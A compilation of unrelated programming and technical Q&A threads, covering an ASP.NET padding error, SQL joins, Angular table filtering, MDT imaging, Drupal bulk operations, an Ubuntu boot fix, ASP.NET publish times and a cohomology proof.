If you want to avoid this, see my answer to the How keep uninstall files inside uninstaller?


Get "Padding is Invalid and cannot be removed" in ASP.NET

Question: I'm seeing this error a lot in my log lately on my prod. I've searched over the net on this error. I saw some notes like this, this or this. The bottom line on all of them is that I should set machineKey. But I already have machineKey set!
Like that:
<machineKey decryption="AES"
        validation="SHA1"
        decryptionKey="64 hex key"
        validationKey="other 64 hex key"/>

Also I'm on web farm server and my application is on asp.net 3.5.
I'm pretty hopeless about this problem =\ How can I solve this?
Thanks.
EDIT:
Here is a full log:
Time: 04/07/2011 19:52:25
MESSAGE: Padding is invalid and cannot be removed.
HTTP_REFERER:
SOURCE: mscorlib
FORM:
QUERYSTRING: d=iAY45pNWTDkOra20F86mL9NBCe-wjxevTFjlNNxafjqLF0Aug2JmvB-c_8JQN4XnDIU1UJTmY2MC1xuySMKscg2&t=633851453303086250
TARGETSITE: Int32 DecryptData(Byte[], Int32, Int32, Byte[] ByRef, Int32, System.Security.Cryptography.PaddingMode, Boolean)
STACKTRACE:    at System.Security.Cryptography.RijndaelManagedTransform.DecryptData(Byte[] inputBuffer, Int32 inputOffset, Int32 inputCount, Byte[]& outputBuffer, Int32 outputOffset, PaddingMode paddingMode, Boolean fLast)
   at System.Security.Cryptography.RijndaelManagedTransform.TransformFinalBlock(Byte[] inputBuffer, Int32 inputOffset, Int32 inputCount)
   at System.Security.Cryptography.CryptoStream.FlushFinalBlock()
   at System.Web.Configuration.MachineKeySection.EncryptOrDecryptData(Boolean fEncrypt, Byte[] buf, Byte[] modifier, Int32 start, Int32 length, IVType ivType, Boolean useValidationSymAlgo)
   at System.Web.UI.Page.DecryptStringWithIV(String s, IVType ivType)
   at System.Web.Handlers.AssemblyResourceLoader.System.Web.IHttpHandler.ProcessRequest(HttpContext context)
   at System.Web.HttpApplication.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute()
   at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)

Comment: Read also http://stackoverflow.com/questions/1821243/cryptographicexception-padding-is-invalid-and-cannot-be-removed-and-validation-o/2551810#2551810
Comment: I saw one thing there - "a bot getting the pages and make all the character on the links in lower case", can I change the keys in my app to be lower case? Also I see that the QueryString is return as big and low case - so maybe its not related to me?
Comment: I really do not know to answer. But this is true, a bot make them all low case. But it was not important - the bot is need to read the main page not the resource, and the main page have no problem since bots not make post backs. But the resource keep this key on the url, and this was the point that I see this message.
Comment: on your log you do not metion in what page you get the error ? is on resource or on simple page ? The query string is not lowcase however. There is always a case of some one try to hack your site, or just play with it.
Comment: What you see I see, It suppose to show some function that I familiar with or HTTP_REFERER so I know from which page it came.. This message just keep coming and I dont have a clue how to solve it =\
Comment: make the trick I have here... http://stackoverflow.com/questions/1821243/cryptographicexception-padding-is-invalid-and-cannot-be-removed-and-validation-o/2551810#2551810
Answer: A recent ASP.Net patch changed the encryption format.
Make sure that every server in the farm is fully updated.
Comment: How can I check this? The web farm server belong to hosting company
Comment: They said that nothing has changed in the last 4 months. If it just  started to accord last month I dont believe that asp.net patch is the issue..

Get “Padding is Invalid and cannot be removed” in ASP.NET


need a help in left join query in mysql

Question: table1:
name | map_id | reg_id
abc  |  1     | 5
pqr  |  2     | 5
xyz  |  3     | 5

table2:
map_id | map_name | is_deleted
 1     | map1     |   0
 2     | map2     |   0

my sql query :
SELECT *
FROM   table1 t1
       LEFT JOIN table2 t2
              ON t1.map_id = t2.map_id
WHERE  t1.reg_id = 5
       AND t2.is_deleted = 0

what the above query does is stops me from retrieving record with map_id = 3 in table1.
how can i achieve this as well as 'is_deleted check' if the record exists in table2.
thanks in advance.
Answer: You need to move the is_deleted check to the JOIN:
select t1.name, t1.map_id, t1.reg_id,  -- replace select * with columns
  t2.map_name, t2.is_deleted
from table1 t1
left join table2 t2
  on t1.map_id = t2.map_id
  and t2.is_deleted = 0
WHERE t1.reg_id = 5;

See SQL Fiddle with Demo.  Your current query is causing the LEFT JOIN to act like an INNER JOIN because you have the is_deleted as a part of the WHERE clause.  If you move that to the JOIN, then you will return the rows from table2 that have is_deleted=0 and you will still return all rows from table1 where reg_id=5.
Comment: thanks for the reply, it seems this will work. i will implement this in my application and check.
Comment: Yes, because the `and t2.is_deleted = 0` clause was killing the map_id = 3 record. The left join included that record, but `t2.is_deleted` was null. Moving that condition to the join condition is the correct way to do this.

need a help in left join query in mysql


How to FILTER mat table datasource AND related async properties at once?

Question: Setup: angular 9.1.7, angular-material 9.2.3, macOS 10.14.6, ngrx-store/ngrx-data/ngrx-entity 9.1.2
Situation:
I have a functioning and working material table with a datasource of type MatTableDataSource obtained from an async HTTP request provided by the ngrx Store.
I can filter all the properties of Resource itself with the built-in datasource filter function.
Problem:
In my Material table component, I don't show all Resource properties, some columns display related data that is async loaded for the specific resource property, e.g.: {{(element.orderId | orderContactProperty: 'email') | async}} - the resource (element) has an orderId property, and I also load Orders & Contacts from the same server, when at some point, via a pipe the contact for that order of that resource is loaded and a property ('email') of it is presented. Now this obviously doesn't belong to the datasource of type Resource and is loaded later, meaning it can't be filtered.
What would be the best/simplest solution to also filter these lazy loaded properties that do not belong to the original datasource? Basically, how can I filter what the customer sees displayed in the table?
What could work?:
I looked into the mat-table-exporter extension because there only the visible table data is exported and my thought was to extract the rows with all the visible data, then filter, then update the datasource only with the filtered elements but it seems to be a hack-ish workaround, right?
Also I thought about "extending" the datasource by resolving the related properties before displaying and adding them to the respective row so they are now included to be filtered - wouldn't that also be problematic because then the type Resource is not correct anymore and later when I want to edit/update the resources and save them to the server I would have unwanted properties
But before committing my time into any of these ideas, does anyone have an advice/direction how to best solve this problem? I am surely not the first one to stumble upon it but couldn't find any other questions describing that exact scenario
Unfortunately, I can't provide a stackblitz due to the complexity of it and it being a client project, however I hope this screenshot helps to illustrate my problem: (red asterisk means: not in datasource and can't be filtered, the other ones work fine)
Comment: Do you need to filter a column that you don't show inside your table?
Comment: @talhature no, unvisible columns get filtered already because they are in the datasource - I need to filter columns that are not in the datasource but are visible in the table from other observables/services and somehow related to the ones in the datasource
Answer: I came across the exact same situation and was surprised not to find a suitable solution for filtering data asynchronously.
Since the filterPredicate expects boolean as a return type, it is not possible to merge the Observable from the store selector to the datasource in a clean way.
Therefore, I decided to cache the data from the store (usernames in my case) locally, and extend the default angular material filterPredicate.
This only works, as I already load the data before the table is actually displayed, which limits the use cases of this approach.
filterPredicate: ((data: Data, filter: string) => boolean) = (data: Data, filter: string): boolean => {

    // default angular material filter predicate
    const dataStr = Object.keys(data).reduce((currentTerm: string, key: string) =>
    {
      return currentTerm + (data as {[key: string]: any})[key] + '◬';
    }, '').toLowerCase();

    // Transform the filter by converting it to lowercase and removing whitespace.
    const transformedFilter = filter.trim().toLowerCase();

    const defaultResult = dataStr.indexOf(transformedFilter) !== -1;

    // no need to continue searching after a match
    if (defaultResult) {
      return true;
    }

    // no match found yet, check usernames for matches
    const userIds = this.getUserIds(transformedFilter);
    return userIds.includes(data.userId);

}

This function can then be assigned to the filterPredicate of the datasource, as described in https://material.angular.io/components/table/overview#filtering.
this.dataSource.filterPredicate = this.filterPredicate;
I know that this is not a clean solution either, but it is sufficient for my scenario. Any better approaches would be welcome!


MDT Image Hierarchy

Question: Just a quick question, I couldn't find this out by looking around and have not had the time to run a test myself:
Is it possible to create image hierarchies in MDT?
Take this example where we have three images.
- Image 1: Base OS
- Image 2: Company Wide Applications (built off Image 1)
- Image 3: Specific Role Applications (built off Image 2)
Now just say we change the version of an application in Image 2.
The next time we build Image 3, will this take the new version of the application since it's basing its image off Image 2?
Also, If we add a program to Image 1, leave Image 2 unchanged and re-build Image 3, would this include the new program?
I'm trying to plan out a way of creating images such that if a change is required for an image that is on basically every machine (think, Image 1) then we only have to change it in one location.
Has anyone actually done something like this and has any tips?
Answer: With MDT, you do not need to have the applications built into the image. Applications can be installed after the base image is installed, and you can install them one by one or as an application group. For the example you have given, image 1 is the base OS (assuming no other software is installed). Image 1 would be installed on every machine. When the image is being installed, the MDT wizard pages will ask if you want to install applications or application groups with a list. Simply check what applications or groups you want to install (or none) to decide on the end result being the same as the image you want. You can also setup selection profiles to group these things together for you. Selection profiles are discussed around the seven minute mark in the TechNet video "Deployment Day Session 2: MDT 2012 Advanced".
By doing it this way, then any time you make a change to one of the programs in MDT, that new application will be distributed to any new deployments and you will not have to rebuild your images for program changes.
More videos and articles to help you deploy Windows with MDT can be found on the Deliver and Deploy Windows 7 and Deliver and Deploy Windows 8 pages of the Springboard Series on TechNet.
Comment: Cheers for that, the only thing else I'm considering is the total deployment time. I'd expect not having apps baked into the image would increase the deployment time but I'm not too sure if it's negligible, I guess I'll have to play around and either trade off ease of modification for speed of deployment
Comment: @Antix Also remember that keeping the software out of the image means that you only maintain one image, instead of 3. The TechNet Magazine has an article named '[Desktop Image Management: Build a Better Desktop Image](http://technet.microsoft.com/en-us/magazine/ff721826.aspx)' that talks about that balance you are looking for and may be of interest.
Comment: Thanks, I eventually went down a similar path to keep the software out of the image (and creating a master image of the final result rather than having 3 layers of images). So far it's turned out quite well
Comment: @Antix Fantastic! Glad you have it all working.

MDT Image Hierarchy


use .obj file from blender 2.62+, in java with Eclipse for Android openGL ES

Question: I have looked near and far for a solution to this problem. There seems to be ways to do this using a older version of Blender. I do not want to use an earlier version of Blender, I want to use 2.62.0 and above.
Basically I want to use Blender to create objects to use in my Android applications. I will be using openGL ES in Java. The easier to implement this the better, I am not trying to re-invent the wheel here.

Blend2Java does not work for Blender 2.5+
Java.net seems to be down for maintenance so I cannot find any Java3D resources that will assist
Other 3D Graphics software is just not up to par with Blender and I feel that other software will encounter similar issues
I have also tried min3D and that did not work for me either
An asset pipeline might be nice but at this point I will load image by image if I have to

Could someone please give me some options that will work with blender 2.62 or a run down of the steps that need to be taken to accomplish this. I have decent experience with Java but it is getting to the point where I can no longer keep my sanity.
Last but not least ...
Thank you all here on Stack Overflow and I hope for some good posts as future reference
Comment: Clarify your question. Once you export a model from your favorite modeling tool, you forget about it (the tool). `Blender2Java` is a blender _port_ and I don't understand why you need a Blender variant written in Java. `min3D` looks like a (not-so-minimal) framework on top of Android's ES 1.0 capabilities. Now, how does an _asset pipeline_ fit here?
Comment: Okay sorry for the misunderstanding. I need a blender port like Blender2Java, but Blend2Java does not work on newer versions of Blander.

I would love to use min3D but I cannot get it to work. The reason I cant get it to work is because I cannot download or even find the Java class library packages needed. [link](http://code.google.com/p/min3d/) My intelligence feels destroyed by not understanding something this simple. I cant extract the files from the .apk and that is the only thing you can download other than svn/trunk/*.
Answer: Are you just looking for an obj loader for android? There are several mentioned here:
Android OpenGL .OBJ file loader
Comment: I think I don't understand the concept of a .obj loader. I want to take the .obj and convert the actual text to Java format. For example a cube that I created from scratch in Java in openGL is called cube.java. If I have a cube.obj and cube.mtl that was from Blender I want a program to take these and create/convert all the object data to a cube.java class. This created class will be able to be rendered in me renderer.java class via Cube cube = new Cube(); then drawn via onDrawFrame() .... cube.draw(gl);.


Perform bulk operations on a custom database table

Question: I have a custom database table. I implemented hook_views_data() to make it available with views.
/**
 * Implements hook_views_data().
 */
function uploader_views_data() {
  $data = array(
  'texts' => array(
        'table' => array(),
      ),
  );

  $data['texts']['table'] = array(
    'group' => t('Uploaded Texts'),
    'handler' => 'views_join',
  );

  $data['texts']['table']['base'] = array(
    'field' => 'txt_id',
    'title' => t('Texts'),
    'help' => t("Text ცხრილში ინახება ინფორმაცია ტექსტების შესახებ. მაგ: ავტორი, სათაური და ა.შ"),
    'weight' => -10,
  );

  $data['texts']['txt_id'] = array(
    'title' => t('txt id'),
    'help' => t('ცხრილის უნიკალური ID-ი.'), // The help that appears on the UI,
    // Information for displaying the nid
    'field' => array(
      'handler' => 'views_handler_field_node',
      'click sortable' => TRUE,
    ),
    // Information for accepting a nid as an argument
    'argument' => array(
      'handler' => 'views_handler_argument_node_nid',
      'name field' => 'title', // the field to display in the summary.
      'numeric' => TRUE,
      'validate type' => 'nid',
    ),
    // Information for accepting a nid as a filter
    'filter' => array(
      'handler' => 'views_handler_filter_numeric',
    ),
    // Information for sorting on a nid.
    'sort' => array(
      'handler' => 'views_handler_sort',
    ),
  );

  $data['texts']['teqstis_saxelcodeba'] = array(
    'title' => t('ტექსტის სახელწოდება'),
    'help' => t('ნაბეჭდი ტექსტის სახელწოდება.'),
    'field' => array(
      'handler' => 'views_handler_field',
      'click sortable' => TRUE, // This is use by the table display plugin.
    ),
    'sort' => array(
      'handler' => 'views_handler_sort',
    ),
    'filter' => array(
      'handler' => 'views_handler_filter_string',
    ),
    'argument' => array(
      'handler' => 'views_handler_argument_string',
    ),
  );

  $data['texts']['xelnaceris_saxelcodeba'] = array(
    'title' => t('ხელნაწერის სახელწოდება'),
    'help' => t('ხელნაწერის სახელწოდება.'),
    'field' => array(
      'handler' => 'views_handler_field',
      'click sortable' => TRUE, // This is use by the table display plugin.
    ),
    'sort' => array(
      'handler' => 'views_handler_sort',
    ),
    'filter' => array(
      'handler' => 'views_handler_filter_string',
    ),
    'argument' => array(
      'handler' => 'views_handler_argument_string',
    ),
  );

  $data['texts']['type'] = array(
    'title' => t('Type'),
    'help' => t('ტექსტის ტიპი.'),
    'field' => array(
      'handler' => 'views_handler_field',
      'click sortable' => TRUE, // This is use by the table display plugin.
    ),
    'sort' => array(
      'handler' => 'views_handler_sort',
    ),
    'filter' => array(
      'handler' => 'views_handler_filter_string',
    ),
    'argument' => array(
      'handler' => 'views_handler_argument_string',
    ),
  );

  return $data;
}

I want to create a custom bulk operation on this table.
function uploader_action_info() {
  return array(
    'uploader_myaction' => array(
      'type' => 'entity',
      'label' => t('Do my action'),
      'configurable' => FALSE,
      'pass rows' => TRUE, //this will ensure that the entire views row is passed as part of the context in your action callback.
    ),
  );
}

The action callback is the following one.
function uploader_myaction($cmt, $context = array()) {
   drupal_set_message(t('uploader_myaction was called'));
}

When I try to add a field in the view fields, there is no Bulk operations: Content option.
Comment: Are you already using [VBO](https://drupal.org/project/views_bulk_operations)?
Comment: I enabled vbo module. and "Bulk operations: Content" is visible for other views
Answer: I've had a similar problem.  It's not ideal behaviour, but when I created the field, save it (selecting no action, or an action at random), then edit it (unselecting the random action, if I did that), then my custom action shows up.
Answer: You have to declare the hook_entity_info() because:

VBO only supports entity (base or revision) table Implement
  hook_entity_info() and make your table an entity. Use
  EntityAPIController so that you don't need to write other boilerplate
  functions.

Credit: bojanz
Issue: https://drupal.org/node/1282486


Why is my machine not showing anything when booting?

Question: I'm using Ubuntu Server 11.10 x86, and after I make my normal selection (Ubuntu, with Linux 3.0.0-12-generic-pae) from the GRUB menu, the screen just goes blank - there's not even a cursor showing up.
Basically I (suspect that I) had a bad NFS mount tying up the boot process so I fixed that and now it seems like the boot is actually worse off. Here's the problem I had before: Is a bad NFS mount preventing a clean boot?
Not sure if this is useful, but when I hit the 'e' key in the GRUB menu, this is the configuration that shows up:
setparams 'Ubuntu, with Linux 3.0.0-12-generic-pae'

recordfail
set gfxpayload=$linux_gfx_mode
insmod gzio
insmod part_msdos
insmod ext2
set root='(hd0, msdos2)'
search --no-floppy --fs-uuid --set=root <long hex value>
linux /vmlinuz-3.0.0-12-generic-pae root=UUID=<another long hex value> ro
initrd /initrd.img-3.0.0-12-generic-pae

Recovery mode works just fine, networking and all. In fact, if select recovery mode it actually brings up the following menu:
Recover Menu (limited read-only menu)
  resume - Resume normal boot
  fsck - Check all file systems (will exit read-only mode)
  remount - Remount / read/write and mount all other file systems
  root - Drop to root shell prompt

and if I select resume I get the following output:
<timestamp> tpm_tis 00:00: tpm_transmit: tpm_send: error 4294967234
initctl:Event failed

Ubuntu 11.10 <server> tty1
<server> login:

Everything works fine after that.
Other things I've noticed:
1) when booting normally, the Num Lock and Scroll Lock lights on they keyboard show (after pressing the corresponding keys), but the Caps Lock doesn't
2) Ctrl+Alt+Fx to switch TTY's doesn't work
3) this link doesn't help at all: https://wiki.ubuntu.com/X/Troubleshooting/BlankScreen
So, back to the original question: why is my machine not showing anything when booting (in non-recovery mode)?
Comment: some ideas to check https://wiki.ubuntu.com/X/Troubleshooting/BlankScreen
Answer: Not sure why this would all of a sudden be a problem but whenever I have this problem adding "nomodeset" to the end of the linux kernel line fixes it. Try editing the grub boot commmands (press e at the boot menu) then edit the kernel line so it looks something like the following then press ctrl-x to boot it.

linux /vmlinuz-3.0.0-12-generic-pae root=UUID=long-hex-value ro nomodeset

If that doesn't work, you know that it's probably something to do with your grub boot options since recovery mode works but normal mode doesn't. I would just compare your recovery boot options to the default and try to figure out which option (or lack of) is causing it to work in recovery mode.
Comment: appending `nomodeset` did the trick!


ASP.NET web application takes 3 hrs to get build and publish

Question: I have a web application written in year 2008 in asp.net 2.0 (VB language). we have upgraded the application in between around in year 2014 to .net 4.0, our application grows insanly in previous years and now there are around 3000 pages in the application.
We always require to publish the whole application to update any hotfix to production and the publish process of application took around 3 hrs to complete.
I need your help to understand how can I improve this process and reduce the time of hotfix update on production Or if there any mechanism through which I could break my application in small peaces.
My publish profile

Configuration Option
Comment: Do you run the build with multiple threads or single threaded? It's the switch /m on msbuild invocation
Comment: In addition to the previous comment, are you pre-compiling your web application?
Comment: Use web deploy, deploys only updated files, https://learn.microsoft.com/en-us/iis/publish/using-web-deploy/introduction-to-web-deploy
Comment: I use standard Publish webapp option of visual studio. Screen added on question
Comment: We have on premises customer of our application and to send update for them we have to send them dll patched , we can not connect their server directly from our Visual studio
Comment: "Delete all files during publish" should't be a problem, I mean that is used when you save some temp files under your app and your disk space is a problem, anyway try without that, maybe your app is truly huge. Can you give us a size of your app? and one more thing can you click on "configure" then give us a print with that.
Comment: Then is not your problem, is their  problem, bet FTP is used.
Comment: worth turning pre-compilation off and seeing what the difference is. Of course this implies your pages will be compiled on first load, and users will be affected by that.
Comment: @SilentTremor  , the maximum time take for the App_Code folder ,, configuration screen is attched
Comment: Also - I have heard of mspmng.exe (i.e. Security Essentials) slowing down pre-compilation significantly.  Is it installed on your build server?
Answer: You have selected the option "Create a separate assembly for each page and control", this means that you are going to create at least 3000 dll file (1 for each page, excluding user control). Matthew Evans is right, windows defender don't like new assemblies to be created unders it's nose, and it analyzed all those files to be sure that they doesn't contains viruses.
My advise is to try the "Merge all output to a single file" option and to temporary disable the antivirus (or even better add you project path to the exclusion list)
Do you have a lot of resources files (like images and css) ? This can also be a problem if you don't have an SSD because copying thousand of files on a standard HDD can be a very time consuming operation. Also, keep in mind that you have to copy at least one DLL per page and also one aspx file for page...


Update issue using join in SQLite

Question: Good morning all,
Apologies if this has been addressed, I am attempting to run the following query. I have duplicated my table in order to create a join.
I have identified the null Propertyaddress in table A (28 cells had missing Property Addresses in table A). I then hope to insert addresses from PropertyAddress table B  by joining table A to table B.
Although the query joining table A to table B runs correctly, I am unable to update the table due to an operational error.
I am able to successfully run:
%%sql
SELECT A1.PropertyAddress, A1.ParcelID, B2.PropertyAddress, B2.ParcelID, IFNULL(A1.PropertyAddress, B2.PropertyAddress)
FROM Nashvillehousing A1
JOIN Nashvillehousing B2
ON A1.ParcelID = B2.ParcelID
AND A1.UniqueID <> B2.UniqueID
WHERE A1.PropertyAddress IS NULL

However, I can not run the following:
(sqlite3.OperationalError) no such table: A1
[SQL: UPDATE A1
SET PropertyAddress = IFNULL(A1.PropertyAddress, B2.PropertyAddress)
FROM Nashvillehousing as A1
JOIN Nashvillehousing as B2
ON A1.ParcelID = B2.ParcelID
AND A1.UniqueID <> B2.UniqueID
WHERE A1.PropertyAddress IS NULL]

I appreciate any input!
I have tried different aliases, periods, underscores however my aliased tables are still not recognised for an UPDATE query.
I expect the missed values to be inserted into table A1 from table B2 as an updated table with no missing property addresses.
Comment: Please do not SHOUT!
Comment: Hi Stu, apologies for the use of exclamation mark to indicate I am appreciative of any time dedicated to acknowledging this question.
Answer: You are using SQL Server's syntax for a join in the UPDATE statement.
The correct syntax for SQLite is:
UPDATE Nashvillehousing AS A1
SET PropertyAddress = B2.PropertyAddress
FROM Nashvillehousing AS B2
WHERE A1.ParcelID = B2.ParcelID AND A1.UniqueID <> B2.UniqueID
  AND A1.PropertyAddress IS NULL AND B2.PropertyAddress IS NOT NULL;

Also, I changed IFNULL(A1.PropertyAddress, B2.PropertyAddress) to just B2.PropertyAddress because the WHERE clause returns only rows with null in PropertyAddress.
Comment: Thank you forpas, this has worked successfully! I have book marked the link you sent. Unfortunately can't yet cast a vote but this definitely solved my issue.

Update issue using join in SQLite


Odd cohomology of fibre bundles

Question: Suppose that $B$ and $F$ are connected,  simply connected, compact, finite dimensional CW complexes. Assume additionally that both are Poicare duality spaces over $\mathbb{Z}$.
Suppose further  that for any odd integer $i$ we have $H^{i}(B,\mathbb{Z}) = H^{i}(F,\mathbb{Z})= 0$.
Let $\pi: E \rightarrow B$ be a (connected) fibre bundle with fibre $F$.
Question: Is it true that $H^{i}(E,\mathbb{Z})= 0$, for any odd integer $i$.
Comment: I am not familiar with this, but why is odd important? What happens in the even case?
Comment: Thanks for your comment. I can think of 2 reasons I restrict to the odd case. Firstly under my assumptions, the degree 0 cohomology (of $B$ or $F$) can never vanish. Secondly I am interested in computing in some specific example that have no odd cohommolgy, and it would be very nice if this statement was true.
Comment: By the way, "orientable" does not have any meaning in this context, and any compact CW complex is automatically finite-dimensional (in fact, finite).
Comment: Thanks, I removed it.
Answer: Yes.  First, note that $B$ must have even dimension (as a Poincare duality space) and therefore by Poincare duality its homology is also trivial in odd degrees.  It then follows by the universal coefficient theorem that the homology groups of $B$ are free (otherwise the torsion would show up as odd-degree cohomology), and so the odd degree cohomology of $B$ vanishes for any choice of coefficients.
Now the conclusion follows immediately from the Serre spectral sequence.  There is a spectral sequence whose $E_2$ page is $H^p(B,H^q(F,\mathbb{Z}))$ which converges to $H^{p+q}(E,\mathbb{Z})$.  For $H^p(B,H^q(F,\mathbb{Z}))$ to be nonzero, $p$ and $q$ must both be even, in which case $p+q$ is even as well, and so $H^i(E,\mathbb{Z})$ can only be nonzero if $i$ is even.  (In fact, more strongly, we can see that all the differentials of the spectral sequence will have either trivial domain or trivial codomain, and so the spectral sequence collapses at $E_2$).

Odd cohomology of fibre bundles